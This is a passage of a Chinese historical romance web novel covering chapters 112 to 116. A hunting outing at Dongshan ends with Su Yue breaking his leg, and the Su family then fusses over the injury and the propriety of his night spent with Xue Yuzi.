苏钰一马当先,先进了猎场。随即勒住缰绳,回头笑着看向薛迟,“我赢了。” “果然是来自西北的宝驹,我愿赌服输。”薛迟笑着说,“想要我做什么,尽管开口。” 苏钰的骑射来自慕容宁,名师出高徒。西北的宝马也是名驹,但凭这样想赢他并不容易。 他没必跟苏钰争输赢,苏钰开心就好。 “没什么想要的。”苏钰说着,“想要什么,大哥会给我的。” 现在苏略就在京城,天上的星星都能给她摘下来。 “下次可以跟我说。”薛迟笑着说。 两人正说着,就有公主府的管事迎上来,“大爷,苏姑娘。” 薛迟来东山打猎,护卫人手除了跟在薛迟身边的,还有一批早就在猎场等着。 排查隐患,等待薛迟到来。 “你带了这么多人。”苏钰有点意外。 薛迟笑着说,“正值春季,草木旺盛,会把些坑坑洼洼的地方遮盖,万一有意外,多些人手没有坏处。” 苏钰没再说什么,苏略也这么建议过她,是她觉得人多麻烦才没带来。 早有小厮上前接过缰绳。从京城主城区到东山,策马狂奔其实有些累。 管事早把帐篷搭好,引着两人进入。 打猎时的帐篷向来简单,尤其是薛迟的风格,苏钰本来是没指望的。 没想到进入后,竟然有几分精致,桌椅铺阵都很上档次,临时的帐篷里竟然还有不俗的摆件。 丫头奉茶,苏钰接过留意茶碗,竟然是名家之物。 一段时间不见,薛迟生活品质提升很大啊。 或者,是因为她? “你穿了男装。”薛迟突然说着。 苏钰有些莫名,“男装方便。” 打猎的时候,男装真的很方便。 薛迟语气古怪,“西北少民的服装也很方便。” 苏钰和谢无衣去摘星楼那次,穿的就是女装,很有异域风情。 苏钰呆了一下,自然想到了薛迟这么说的原由。 她是真的没想到,薛迟竟然会把着装这种小事放在心上。 不知道怎么回答,索性不回答,低头喝茶。 薛迟也没继续说,以后有的是机会让苏钰穿。 骑了这么长时间马,喝了半碗茶,休息一会苏钰精神恢复过来。 因其他人还没过来,她也不着急现在就去打猎,趁着其他们还没来,好奇问薛迟,“你到底是怎么说动我大哥的,让他的小厮帮你传信?” 谷夫人阻止她与薛迟来往,肯定是为她好。 苏略却在明知薛迟要尚主的情况下,主动帮助俩人传信,必然有原由。 “他知道我跟昭华公主的婚事成不了。”薛迟说着。 苏钰并不意外,苏略不可能让她与有未婚妻的男人拉扯不清。他会帮忙传信让他们通话,至少薛迟与昭华公主的亲事肯定成不了。 这也是她原意与薛迟见面的主因。 苏钰继续问,“那你与我大哥是什么时候认识的?” 苏略今年一直在京城,但与薛迟认识,她不相信是偶遇。 苏略因为她的缘故,对薛迟好奇才去了解,也总觉得哪里不太对。 苏略根本就不是会是把情情爱爱,男女这点事,放在心上的人。 对她的婚姻,态度比慕容宁还随意。想成亲就成亲,不想成亲就算了。 估计就是成亲之后要和离,他也无所谓。 “初六,在品花楼。”薛迟说着,“我知道他是你兄长,上前招呼。闲聊喝茶,还聊了会史书,甚是投缘。” 至于是不是真的偶遇,并不重要。 苏略是不是因为苏钰找他,也不重要。 遇到才重要。 苏钰脸年迷茫几乎要压不住,品花楼偶遇,还聊史书? 苏略解元出身,文化人肯定能聊史,但这么两个人聊史书,这场景怎么想都诡异。 但要说这两个人能聊的来,苏钰竟然觉得很合理。 “熟识之后,就常有往来。”薛迟继续说着,“不愧是苏先生的长子,做事妥贴不着痕迹。” 收养苏略时,苏天翊不过十六岁,就如此慧眼如炬。 都说千里马常有,伯乐不常有。 其实特别优秀的千里马也不好找,太过于优秀的人才不容易忠心。 忠心不二,可以为主人去死的超级优秀千里马,真的很难找。 苏天翊眼光很好,挑到苏略这种养子。 “你认识我父亲?”苏钰更惊讶了。 而且苏先生这个称呼…… 用先生称呼苏天翊,她还是第一次听到。 这应该是苏天翊离京之后的称呼,而且称呼先生,这个解释就很多种。 是一种尊称吗? 毕竟苏天翊离京后,没有官职在身,以先生相称倒也合适。 “京城没有人不认识吧。”薛迟笑着说,“哪怕己离京十年。” 苏天翊是京城的传说,而一个传说能传十年,除了苏天翊这个天花板实在太高之外,也少不了苏略的功劳。 他几乎无时无刻不在替苏天翊宣传,不是大肆宣扬而是润物细无声。 在营销宣传上,没人搞得过苏略。 “也是,京城怎么会有人不认识父亲。”苏钰笑着说,语气中充满自豪。 就是苏天翊离京前与薛迟见过,那时候的薛迟不过九岁。 九岁的孩子,大概类似于看到别人家的优秀小孩,例行夸奖几句,也说不了别的。 PMDUJIA 第113章 第 113 章 快到中午时,苏邑…… 快到中午时, 苏邑和程采蓝,苏越和薛雨梓终于到了。 坐了半日车,程采蓝和薛雨梓进帐篷休息,兼换衣服。 大周的女装不方便骑马, 却不禁女性骑射, 自然有专属的骑射服。 只是款式实在不讲究, 苏钰更喜欢男装。 每人一个帐篷, 各自休息完,己经临近午饭时间。 饭前苏钰决定活动一下, 打两只野味加餐。 “一起。”薛迟说着。 接过小厮奉上的缰绳,苏钰翻身上马,朝薛迟招招手,“让你见识一下我的骑射。” 薛迟只是笑。 苏钰一马当先,薛迟紧跟在后, 看着苏钰弯弓射箭。 回想第一次见面时,苏钰也是这样,骑在马上, 做着与闺阁女儿完全相反的事, 却格外的英气逼人。 而后来每次看到她, 都能从她身上感受到深刻的生命活力。 她活的洒脱,也活的肆意。 箭矢划破空气, 两箭射出皆没落空。 跟随的护院赶紧上前去拾捡猎物, 一只山鸡,一只野兔。 苏钰笑着对薛迟说,“怎么样,我的箭法还不错吧。” “不是不错,是很好。”薛迟说着。 苏钰笑的更开心了, 薛迟夸人从来不吝啬。 两人骑了几圈回去,午饭己经准备好。 山鸡和野兔上了餐桌,六个人一边吃一边说下午行程。 程采蓝不会骑马,苏邑早让管事准备了温顺的小母马。打猎以后再说,他要先教程采蓝骑马。 让苏钰意外的是薛雨梓,她竟然会骑射,自告奋勇的与苏越同队。 “小时跟着父亲学过,这么多年了,应该没有生疏。”薛雨梓笑着说。 薛驸马对外说,她是他的侄女,其实不是。 她父亲是薛驸马的副官,正好也姓薛,为救薛驸马死了。 薛驸马感念恩情,把她接到公主府里照看,对外说是侄女。 她的骑射还是少时跟着武官父亲学的,这些年在公主府的生活也算养尊处优,偶尔骑马,打猎就更生疏了。 苏越笑着说,“薛姑娘不嫌我笨,愿意与我同行,我十分高兴。” 两人都十分高兴,苏钰隐隐觉得有点不妥。 薛雨梓与谢无衣定亲可能是假的,但苏越是有未婚妻的。 虽然大周对男女大防并不在意,但有未婚妻等于己婚,男女之防是道德之防。 薛雨梓似乎看出苏钰的担心,笑着说,“苏姑娘就放心和大公子去打猎,我会照顾好四爷的。” 程采蓝只是学骑马,与苏邑只在外围玩,怎么都不会有危险。 苏越年龄小,虽然有护院跟着,但要是野起来,只怕下头的人劝不住他。 猎场不比其他地方,山东林子也深,若是胡乱走,万一遇上陷阱或者猛兽,出意外就不好了,还是得有人盯着点。 更重要的是,苏越不懂看眼色,总是想着往上凑当电灯泡。 难得薛迟与苏钰见面,虽然出门前,晋阳长公主叮嘱她,一定要她多留个心眼,防备着薛迟与苏钰有什么事。 在她看来却没有必要,她很喜欢苏钰,希望她能嫁给自己喜欢的人。 “如此也好。”薛迟说着。 苏钰见薛迟也如此说,想到又有一大堆护院跟着,薛雨梓做事向来周全,才不会犯糊涂,笑着说,“也罢,你们俩一起,记得多带几个护院。” 六个人分三组,各玩各的。 如此到了半下午,考虑到是山里,天黑前要到别院,走前就约定了汇合的时间和地点。 苏邑和程采蓝来的最快,或者说根本就没离开。苏邑一直在教程采蓝骑马,程采蓝学的也认真,己经可以不用帮助就上下马,偶尔还让马走几步。 薛迟和苏钰准时回的,玩的高兴,满载而归。 尤其是薛迟,他太长时间没有放松过,尤其是苏钰离京后,更添了一份相思之苦。 现在苏钰回来了,两人感情恢复如初,他是真的高兴。 “我家的别院好像是在那边山上。”苏钰不太确定的说着。 她上次来东山的别院好像是十几年前,年龄太小,再加上山上树木太多,别院仿佛是山上零星的点缀。 从山下往上看,辩认哪里是自家的别院,确实有点难度。 不过不要紧,有管有护院,肯定能找到别院。 薛迟笑,苏家别院在另一个方向,并不说破,只是说,“我们俩家的别院挨的很近,正好有个照应。” 公主府的别院与苏家别院在反方向,想到以后少不了一起打猎出来玩,他就把苏家别院的隔壁买了下来。 只有几天时间收拾整顿,收拾的不会太好,先将就一下,以后有时间了再慢慢整理。 “那太好了。”苏钰高兴说着。 山里的路不好走,一个山的东西,一个山的西边,是挺麻烦的。 两人正说着,程采蓝骑在马上,小心翼翼骑着往这边走,旁边跟着老师苏邑。 程采蓝看到苏钰,笑着挥手,“姐姐,我学会了。” “太厉害了。”苏钰竖起大姆指,笑着说,“阿邑也厉害,教的好。” 护院把苏钰和薛迟打的猎物整理好,拿到众人面前,问怎么安排。 主要是问苏钰,薛迟让她来分派。 “这部分送到公主府,这些送到苏家,还有这些给叶家送去。”苏钰说着。 猎到的都是普通动物,没有皮草,全是加餐。 把自己要吃的,晚上和明天早上要加餐的部分留下来。其他的分为三份,让护院们跑一趟送过去。 每一家都有,平均分派,都不落下。 一切都安排完,四人帐篷里闲话时,不知不觉的早到了约定时间。天都黑了,却依然不见苏越和薛雨梓。 “派人去找了吗?”苏钰问管事。 苏越素来听话,薛雨梓更是懂事,又有一堆护院跟着,不可能是因为玩耽搁到现在。 不会真出意外了吧。 管事连忙说着,“能派的人都去了,应该很快就有消息。” 薛迟安慰苏钰,“不用担心,那么多人跟着,不会有事。” 时间一点点过去,眼看着就半夜了,苏钰坐不住就要亲自去找时,管事匆匆进门,高声喊着,“四爷和薛姑娘回来了。” 帐篷内四人听到这话,连忙出了帐篷。 只见所有保镖护院手持火把,把营地照成白昼。 薛雨梓和苏越皆是一身狼狈,苏越腿上还有伤口,虽然简单的包扎过,伤口却还在渗血。 因为是来打猎,专治外伤的大夫也是跟着的,此时正给苏越包扎伤口。 薛雨梓半身泥泞,头发也乱成一团,看到薛迟和苏钰却是连忙上前道歉,声音中透着哽咽以及担忧,“对不起,都是我不好,没有照顾好四爷。” 正被大夫包扎伤口的苏越,马上说着,“与薛姑娘无关,是我不听劝,误中了猎人的陷阱。要不是薛姑娘照顾,只怕真要死在山上了。” 这些日子以来,读书太憋闷,难得出来一趟,又是打猎这种野外活动,他有点兴奋过了头。 追赶猎物追到深山里,跟随的护院没跟上都没注意。 倒是薛雨梓,一直在温和的劝他,奈何他没听。 误中陷阱,伤到了腿,也是薛雨梓第一个找到他的。 薛雨梓先帮她包扎了伤口,因为伤到腿不能移动,就想着等救摇。 结果一等二等,薛雨梓多次去找也没找到。无奈之余,也是薛雨梓扶着他上马,牵着马往外走,才被护院找到。 薛雨梓是他的大恩人,一点错都没有,全是他的错。 苏钰看两人惨状,此时哪里还会责罚,“人没事就好,先让大夫看过再说。” 大夫查看伤口,却十分不乐观,“好像是伤到骨头了。” 苏钰听得头皮发麻,伤筋动骨一百天,有苏越受的。再者苏越伤重,又是跟着她出来的,她要怎么跟关氏交代。 薛迟问大夫,“还能移动吗?” 大夫显得十分为难,要是平地还可以抬着,但这是山路,又是晚上,平常人行走都难,更何况一个伤了骨头的病人。 再者,山上的别院是暂住的,今晚上去了,两天不到又得下来,这一来一回的折腾,对骨折病人是相当折磨。 薛迟吩咐管事,“送苏四爷回府。” 这个时间虽然城门己经关了,但想开城门并不难。 “我也得回去。”苏钰说着,“四弟跟着我出来,我得跟三婶说一声。” 薛迟点头,“我跟你一起。” “那我也回去吧。”薛雨梓跟着说,心情惴惴不安。 她说了要照顾苏越,结果苏越骨折了,她内心甚是不安。 苏邑和程采蓝相视一眼,苏邑说着,“那我们也一起回吧,一起出来的,也该一起回去。” 打猎什么时候都可以,堂弟都伤到腿了,哪里还有玩的心情。 “不用,不用。”苏越连忙说着,心中十分愧疚,“本就是我鲁莽,害得众人为我担心。若是再扫了大家的兴,我就更自责了。” 都是他的错,不听薛雨梓劝告。若是再害得他们也跟着回去,打猎活动就这么中止,那就更不好了。 苏邑笑着拍拍苏越的肩,“想打猎可以随时来,还是兄弟更重要,你伤着腿,我们也没心情玩。等你伤好了,我们再一起出来。” 第114章 第 114 章 说走就走,程采蓝…… 说走就走, 程采蓝和薛雨梓同乘,她来时坐的车让给了苏越。 大夫与苏越同乘,随时关注苏越的伤口情况。 大半夜的回去,最大的障碍是城门。京城主城区虽然没有宵禁, 但是每日城门关闭后, 想再开就要明天。 苏钰并不担心敲不开城门, 要是敲不开, 就直接留在营地等天亮了。 只是没想到开的那么快,本以为怎么样都要磨叽一番的, 结果公主府的管家上前,城门就开了。 “今天太晚了,明天我去府上。”薛迟对苏钰说着。 活动是他组织的,苏越摔伤了腿,责任肯定在他, 登门探望也是应该的。 苏钰想想也没拒绝,她自己也在头痛,如何跟苏天佑和关氏交代。 路口分开, 薛迟带着薛雨梓回了晋阳长公主府。 因为是半夜, 苏钰不想惊动太多, 苏邑和程采蓝就不回去了。 都回国公府,苏邑随便找间书房睡一晚, 程采蓝睡在听雨轩。 至于她自己, 估计今晚是难睡觉了。 “谁呀,这大半夜的。”门房被打扰了睡觉,语气十分不善。 敲门的管事脸色难看,“快开门,大姑娘, 三爷回来了。” 门房顿时醒了,连忙开门。 车驾驶进二门,管事把门房都喊起来,又吩咐着,“赶紧往里头给三老爷和三太太传话,四爷伤了腿。动静小些,莫要惊动了老太爷和老太太。再派个人去请大夫来。” “送我到书房。”苏越说着。 他住的敬思阁离玉粹堂太近,虽然受伤了需要人照顾,但想到关氏,他情愿在书房养着。 “先去书房倒也方便。”苏钰说着,没想太多。 大晚上的,国公府一层层门禁,只是开门把人抬进去就特别麻烦。 书房离二门近,伤了腿不方便。再有一会大夫过来,进内院又是一重麻烦。 不如先在书房养着,至少大夫进出都方便。 门房人少,下人还没叫起来。苏钰便让跟随的护院,在大夫的指导下,把苏越抬到前书房。 小厮扶着苏越到床上,苏越见惊动如此大,越发内疚,对苏钰说着,“大姐姐,我真的没事。” 苏钰道:“先歇着,等大夫过来再说。” 带着去打猎的大夫,基本都是半调子,还是护院兼职。常来苏家走动的御医,有事能请来,但不可能跟着去打猎。 苏钰叫来一个没留头的小厮,吩咐他,“送程姑娘去听雨轩,让绿川好好侍侯她睡觉。” 程采蓝马上道:“我留下来帮忙。” “己经在家里了,人手是足够的,你先去睡吧。”苏钰说着。 苏家大管家就有四个,管事就更多了。 现在是半夜,小厮得去现叫,等一会他们过来了。别说不需要程采蓝帮忙,就是她和苏邑在旁边围观即可。 小厮们也去请大夫,一会大夫过来,要给苏越诊治,程采蓝在这里也不方便。 再者,关氏对杨云娘母女一直都有隔阂,看到程采蓝只怕也不高兴,不如早点去睡觉。 苏邑也觉得如此安排合适,对程采蓝说着,“我和阿钰在,你就去睡吧。” 又说几句,程采蓝跟着小厮去了听雨轩。 一柱香后,苏天佑和关氏一前一后来了。 苏天佑来的更快些,他的住所离前书房更近,关氏更衣整理,行动稍慢。 “我的儿啊,这到底是怎么回事?”关氏看到苏越伤着的腿,当即哭了出来,又是心疼又是焦虑。 原本该去读书的,苏天佑却让苏越跟着苏钰去打猎,现在好了,摔了腿也不知道会怎么样。 舞刀弄枪的,就不如读书稳妥。 苏钰低头致歉,“三太太,都是我的错,是我带着越哥儿去打猎的,却没有照顾好她。” 关氏心疼苏越,语气中不自觉得就带着指责,“好好的,怎么就摔了呢。” “是我不好。”苏越抢着说,“是我不听话,误中了猎人的陷阱,才伤到的。与阿姐阿兄无关。” 关氏强忍着抿唇不语,怎么可能无关,姐兄带着弟弟去打猎,要是他们肯上心,弟弟怎么会伤成这样。 苏天佑对苏钰道:“你也别太自责了,越哥儿也成年了,出门打猎不听话,伤到就当买个教训。” 苏钰和苏邑不比苏越大多少,苏越又不是几岁稚子还需要抱着,那么大一个活人,哪里能时时盯相着他。 “总是我不好。”苏钰说着,打猎是她的提议,责任是推不了的。 “大夫来了。” 管事领着御医进来,众人让开路,让御医上前诊治。 御医先诊了脉,又让女眷回避,剪了衣服看伤势。 一番检查诊治之后,御医说着,“开始时处理的很好,伤口己经止了血。小腿骨虽然断了,紧急处置的很妥当,没有受到二次伤害。” “小公子年轻底子好,只要听话不乱动,按时吃药敷药,在床上躺上三个月也就没事了。” 众人不禁松口气,苏天佑向御医致谢,“劳大人半夜过来,多谢了。” 御医笑着说,“苏大人太客气了,我留下药方,一天一服,按时服用。还有涂抹伤处的膏药,我回府制成后,会派小厮送来,也是一日三次,按时敷。我保小公子无事。” “多谢大人。”关氏也在旁边说着。 苏天佑引着御医去梢间写下药方,药方送给小厮们去抓药,又亲自送御医出门去。 等他忙完回到前书房,关氏坐在床边落泪,苏钰和苏邑在旁边站着,也有些手足无措。 苏天佑对苏钰和苏邑说,“错不在你们,无须自责,都回去歇着吧。” 苏钰和苏邑本欲留下来,苏天佑坚持让他们去睡觉。 “你们在这里又帮不上什么忙,这么多小厮婆子围着,都去睡觉。明天还要见老太爷,老太太。”苏天佑说着。 半夜不好打扰苏震岳和谷夫人,等天亮了,肯定要说的,到时候苏钰和苏邑还得再解释一遍。 眼前即没什么事,不如让他们去睡觉。 “那我们就先回去了。”苏钰说着。 苏邑道:“我就睡在隔壁,三叔有事只管叫我。” 苏天佑点点头,挥手说着,“都去吧。” *** 薛雨梓跟着薛迟回府,心里却是惴惴不安。 双亲亡故后,她被薛驸马收养,虽然物质生活得到质的改善。 寄人篱下的生活,也让她缺少安全感,生怕做错了事,惹得府里的主子不快。 这回跟薛迟出门,是晋阳长公主的意思,让她盯着薛迟和苏钰别出事。 她却与苏家四爷同路,苏越还摔断了腿,明日晋阳长公主问起,她真不知道要怎么回答。 回到自己住处,薛雨梓的丫头都十分惊讶,这怎么大半夜回来了,尤其还是一身狼狈回来。 “让厨房烧水,我得洗个澡。”薛雨梓有气无力说着。 丫头见薛雨梓这一身实在狼狈,赶紧去了。 薛雨梓正欲换衣服,就听院门口传来婆子的惊呼声,“谢大爷,姑娘睡了,天大的事,也要明天再说。” 谢无衣却显得有些烦燥,在门口喊着,“我只是问她几句话,在院子里问就成。” 一个在屋里,一个在院子里,都看不到人,也就不唐突了。 薛雨梓心知谢无衣的脾气,衣服都顾不上换,直接从屋里出来。 因为薛雨梓半夜归来,院里的灯早就点上,丫头婆子手里也有灯笼。 谢无衣看到薛雨梓的一身狼狈,连忙问,“这是出什么事了?” 这些日子以来,谢无衣被晋阳长公主和薛驸马死死按在家里,还强行给他定下与薛雨梓的亲事。 因为要是定别人家的千金,他肯定会去闹腾一通,非得跟人家退亲。 与薛雨梓定亲,他再闹腾也没有用。因为都知肚明,这亲事就是做给外人看的,将来再寻个借口把亲事退掉,就男婚女嫁各不相干了。 至于姑娘家的花期耽误不得,薛雨梓自己都不在乎。 她心里明白的很,像她这种孤女,想出嫁很容易。公主会叫来官媒婆给她说亲,门当户对,出嫁时薛驸马给她一笔嫁妆。 只是以她的身世,门当户对的多半是庶子,或者是寒门进士。在婆家出了事,公主府也不会给她出头。 现在在公主府是正经主子,丫头婆子围着叫姑娘,不用侍侯谁,也不用被婆婆立规矩。 婚后生活肯定不如现在的日子,晚婚挺好,不婚也行。 苏钰回京的消息,谢无衣是知道的,奈何被管的太紧,实在抽不出身来。 薛迟约了苏钰打猎的事,他也知道。本来想知道的,但得知薛雨梓同行,他也没闹腾。 薛雨梓同行,自然会跟苏钰搭话,想知苏钰的现状就很容易。 想到苏钰与薛迟出去玩,谢无衣半夜都没睡着,结果突然小厮就来说,薛迟和薛雨梓回府了。 京郊打猎,有事提前回来也平常。但半夜回来,肯定是有大事。 问薛迟肯定问不出什么,只会打架,那就只能来问薛雨梓。 “苏姑娘无碍,是同行的苏四爷摔伤了腿,怕延误治疗,才连夜回来的。”薛雨梓说着。 谢无衣长长舒口气,才算放下心来,又看薛雨梓一身狼狈,“你没事吧。” 薛雨梓摇摇头,“我无事,只是摔了一下,沾了泥巴。” 她与苏越同处半夜的事,绝对不能说。 “没事就好。”谢无衣说着,转身就往外头走,又挥手说着,“早点睡觉吧。” 那么多丫头婆子在旁,他也不好意思问她苏钰的情况。人没事,就明天再问。 “谢大人也早些休息。”薛雨梓嘴上说着,心里却是无语,要是谢无衣不来折腾她,她现在己经在洗澡准备睡觉了。 第115章 第 115 章 闹腾大半夜,苏钰…… 闹腾大半夜, 苏钰起了个大早。 苏震岳和谷夫人睡醒了,下人就得回报苏越断腿之事,她还得再去解释一通。 程采蓝也跟着起来,几个丫头围着侍侯着更衣梳洗。 程府就在国公府后头, 天亮后绿川就派人去程府跟杨云娘说了昨日之事, 又拿了程采蓝的衣服以供更换。 匆匆吃了早饭, 苏钰与程采蓝正欲往乐道堂, 就有婆子来报,“薛家大爷来了, 说是来赔罪,正在前头书房,看望四爷。” 苏钰意外又不意外,昨天薛迟说过要来一趟赔罪,没想到来的这么早。 “我这就过去。”苏钰说着, 又对程采蓝说着,“你先去老太太那里。” “好。”程采蓝说着。 苏钰去了前头书房,薛迟己经从苏越休息的房间出来, 正在堂屋里和苏天佑说话。 “小孩子顽皮, 大夫说了, 躺一阵子就好了。”苏天佑十分客气,笑着说, “大清早的, 劳薛大人跑一趟。” 苏钰提出要去打猎时,他真不知道苏钰是和薛迟有约。 薛迟有婚约在身,与苏钰出去玩,算什么事,说出去也不好听。 薛迟道:“是我的疏忽, 没有照顾好苏四爷,登门致歉是我当为之事。” 苏天佑笑着,心中却十分感慨,要是没指婚,薛迟确实是合适的成亲对象。 正说着,苏钰进来,“三叔。” 苏天佑看到苏钰,欲言又止,便对薛迟说,“招呼不周,还望莫怪罪。” 说着就要端茶送客。 苏钰道:“三叔,我想跟薛大人说几句话。” 按她原本想的,打猎的时候,找个合适的机会问,结果光顾着玩了,还没找到机会就打道回府。 苏天佑有些无奈,但苏钰向来有主意,他也不再说什么,起身出去。 “三叔不喜欢我与你来往。”苏钰说着,在薛迟对面坐下来。 “是我不好,一直没处理与昭华公主的婚事。”薛迟说着。 再给他一点点时间,很快就有结果了。 “其实,我有件事想问你。”苏钰说着。 这个问题应该在一个恰当的场合,比如打猎的时候,两个完全放松的状态下。 而不是现在这样,坐在堂上,好像老师问作业一样发问。 “你问。”薛迟说着。 苏钰看着薛迟,直视着他的眼,“那天我们第二次见面,你为什么会出现在东山?” 薛迟不自觉得笑了起来,那是他与苏钰缘份的开始,也是他们恋爱的开端。 “那段时间太累了,想放松一下,就甩开下人们骑马出门。我也不知怎么得就跑到那里的,大概是风景太好看,或者那一瞬间的阳光太美,我留下来欣赏美景。” 然后就看到了,他今生最美的风景。 果然是意外,苏钰顿时沉默。 “你呢,你为什么会去那里?”薛迟问着。 苏钰问起来了,仔细想来,苏钰当时的表现更奇怪。 突然出现,看到他,十分惊讶的模样,什么都没说就离开了。 然后,主动来找他,与他交往。 “那天……”苏钰顿了一下,突然间很犹豫。 本来都己经决定把话说清楚,但看着薛迟,她又说不出口了。 “那天怎么了?”薛迟问。 苏钰轻声笑着,声音有些低,“那天我约了一个朋友见面,他没去,却遇上了你,也是缘份。” “朋友?”薛迟声音微微上挑。 什么朋友约在荒山野岭见面? 苏钰不欲再说,再说就太过于隐私。 她自己都没想好,要不要去找找这个未曾蒙面的笔友,问问他失约的原由。 此时再告诉薛迟,只是凭添一份烦恼。 “时候不早了,我得去给老太太请安。”苏钰说着。 谷夫人不喜欢她与薛迟来往,今天薛迟来了,谷夫人肯定己经知道,她不能与薛迟说太久。 而且下面的话题,她不想聊下去。 薛迟心有疑惑,但苏钰不想说,他也不再问,“我该告辞了。” “我送你。”苏钰说着。 苏钰送薛迟到二门,薛迟刚走,苏玫的车驾正巧进二门。 苏越断了腿,那么大的事,天刚亮洪婆子就派人给苏玫送了信。 早饭都没顾上吃,她就连忙过来。 “大姐姐?” 苏玫从车上下来,看到苏钰十分意外。 “三妹回来了。”苏钰笑着说,“越哥儿在前书房呢。” “好,我先去看他。”苏玫笑着说,“一会再去看老太太。” 苏钰先行去了乐道堂,苏震岳,苏天华,叶氏带着云棠己经在了,苏邑是一直没走。杨云娘和程采蓝也在。 叶峰因为早上有公务,实在脱不开身,来不了。 早上得到消息就都过来了,伤到腿不算是小事,半夜都要开城门回来,只怕伤的不轻。 至于苏略,不在家。 “没什么大事,大夫己经看过了。”苏天佑笑着说,“还劳烦二哥,二嫂跑一趟。” 苏天华道:“伤了腿不是小事,要谨慎些,一定要好好养着。” “我们也去看看吧。”叶氏说着。 谷夫人道:“一起都去。” 正房里众人动身时,苏钰正好进来,索性混在人群里,跟着众人一起又去了前书房。 刚才与薛迟见了面,她有些不好意思见众人。人多混一起,就没人注意她了。 此时前书房里,关氏一夜未睡守着苏越,哭的眼晴都肿了。 苏越一直劝她去休息,关氏执意守着他,苏越心有愧疚,也跟着一晚上没睡。 苏玫刚到,顾不上问苏越事情经过,先安慰关氏。 “我们娘俩的指望全在越哥身上,他要是有个好歹,可让我怎么活。”关氏哭泣说着。 丈夫指望不上,儿女就是她的命。 苏天佑说的轻松,没事就好,但断腿那么大的事,休养的时间又长,要是出点纰漏,若下病根那就是大事了。 苏玫不禁道:“大夫都说了没事,母亲也不用太担心了。” “老太爷,老太太来了……” 门口婆子传话进来,关氏赶紧擦了泪,只见婆子打起帘子,浩浩荡荡一群人进屋。 苏家上下能来的都来了,连杨云娘和程采蓝母女也在,关氏格外看了一眼杨云娘。 只见杨云娘满脸关切,就算是装样子,至少装的挺像那么回事。 “老太太。”苏玫上前扶着谷夫人坐下,又亲自奉茶,笑着说,“越哥儿没什么大碍,让老太爷,老太太操心了。” 苏震岳有些恨铁不成钢的看着苏越说:“男子汉大丈夫,打个猎也能摔断腿,你是真给我长脸。” 苏家虽然出了两个状元,但武将起家,亲爷爷,亲伯父,堂兄都是能上阵杀敌的。 现在他的亲孙子郊外打个猎,都能摔断腿,被人抬回来。心疼有之,无奈生气也有之。 这也证明苏越在骑射上确实没有多大天份,关氏送他学堂读书,就让他读吧。 苏越羞的满脸通红,低头小声说着,“给老太爷丢人了,是孙儿不孝。” 谷夫人接话说着,“你祖父是心疼你,好孩子,好好养伤,这些天一定要听大夫的吩咐。” “我会的,谢祖母关心。”苏越说着。 叶氏面带歉意,对苏越说着,“跟你二哥一起出门,他没看顾好你。” 说着叶氏又训斥苏邑,“以后要多照看弟弟。” 跟着姐姐兄长出门,弟弟出了意外,肯定是要担责任的。 “二太太快别这么说,是我自己不小心的。”苏越连忙说着。 一屋子人把苏越小小的卧房挤的水泄不通,各自安慰几句,留下礼物,一人一句都要到中午。 谷夫人有些乏了,苏震岳便道:“我们回吧,别打扰小四休息。” 浩浩荡荡一群人离开,苏钰混在人群里,散场各自回去的时候,也跟着回了听雨轩。 苏天佑送众人离开后,又回到屋里,先问了侍侯的婆子。 药在按时吃,膏药也在贴,苏越精神看着有些不好,但伤筋动骨必然如此。 “好好歇着,有什么事让婆子传话给我。”苏天佑对苏越说着。 苏越点头,“让父亲担忧了,是儿子不孝。” “说什么孝不孝的。”苏天佑说着,又看向苏玫,“扶着你母亲回去休息,她在这里熬着,越哥儿也不好休息。” 因为关氏担心,御医不能在这里守着,又让管事请了坐馆的大夫来,就在隔壁房间,随叫随到。 屋里侍侯的丫头婆子一大堆,有事管事会马上过来料理。 这种时候,不需要关氏在这里守夜,守着也没用。 “是。”苏玫应着,“我这就扶母亲回去。” 苏天佑先走了,苏玫这才对关氏道:“母亲,你扶您回去歇着。” 熬了一夜,关氏也有些撑不住了,却是担忧的看着苏越。 苏越道:“儿子好的很,母亲不用担心。” 关氏这才离开。 坐车回到玉粹堂,苏玫得知关氏一晚上没睡,正想劝她睡会,就听关氏对洪婆子说,“把昨天跟着去的人,叫一个过来,我仔细问问是怎么回事。” 虽然苏越一直说,是他不好,自己不小心误入猎人陷阱。但那么多人跟着,怎么会那么巧,就苏越受伤了。 第116章 第 116 章 跟着过去的管事,…… 跟着过去的管事, 护院,小厮一大堆,想找个知晓具体情况的,一点都不难。 洪婆子亲自去叫的, 是苏越的小厮, 跟着一起过去的。 “四爷与薛姑娘同行去山上打猎, 护院和小的们也是跟着的, 但四爷的马快,一不留心就跟薛姑娘一起不见了。”小厮说着。 关氏听得皱眉, “薛姑娘?哪个薛姑娘?” “公主府的薛姑娘。”小厮说着,“与薛大爷一起来的。” 苏玫听得十分茫然,“薛雨梓是谢无衣的未婚妻。” 薛雨梓是公主府的养女,薛驸马的侄女,在京城贵女圈里属于小透明的存在。 最大的存在感, 是谢无衣,薛迟,苏钰三角闹的最凶的时候, 晋阳长公主突然给谢无衣定亲, 对象就是薛雨梓。 薛迟要跟苏钰一起打猎, 却带着谢无衣的未婚妻,这是什么组合。 关氏这才想到薛雨梓是谁, 眼中也十分迷惑, 不明白这种组合是如何出现的。 “你接着说。”苏玫放下疑惑,对小厮继续说着。 小厮有些犹豫,却还是把知道的全说了。 其实他被管事叮嘱过,这回打猎的事,不能与外人说, 尤其是薛雨梓与苏越共处半夜的事。 但现在问的是关氏,苏越的亲生母亲,也就没什么好隐瞒的。 “这,这怎么能行……”关氏震惊不己。 大周再开放,也没有开放到,不是夫妻关系的男女共处半夜。 苏玫道:“只是一起打猎而己,越哥儿出了意外,多亏薛姑娘机敏,救了越哥儿。” 苏越早就定亲了,薛雨梓与谢无衣也定亲了。 而且以晋阳长公主府的门第,不至于让养女下作到这样去讨婚事。 应该就是个意外,只要双方都不提,这事也就过去了。 关氏本来就一夜未眠,又听到这样的消息,顿时惊魂不己。 当初她与苏天佑不得己成亲,就是因为闹出丑事来,不得不成亲收场。 要是苏越也…… 不行,绝对不行,苏越与关灵灵的婚事是她千挑万选的,绝不能出错。 苏越更不能犯与她当年一样的错。 苏玫劝慰关氏,“这事只要不外传,没人知道自然就掀过去了。” 关氏觉得有理,连忙把小厮唬了一番,叮嘱他绝不可往外说。 “三太太放心,奴才就是全身都是胆,也不敢乱说话。”小厮指天为誓说着。 这话都不用关氏吩咐,管事都就叮嘱过了,事关主子的名声,绝不能胡说八道。 “下去吧。”苏玫对小厮说着,又给洪婆子使了个眼色。 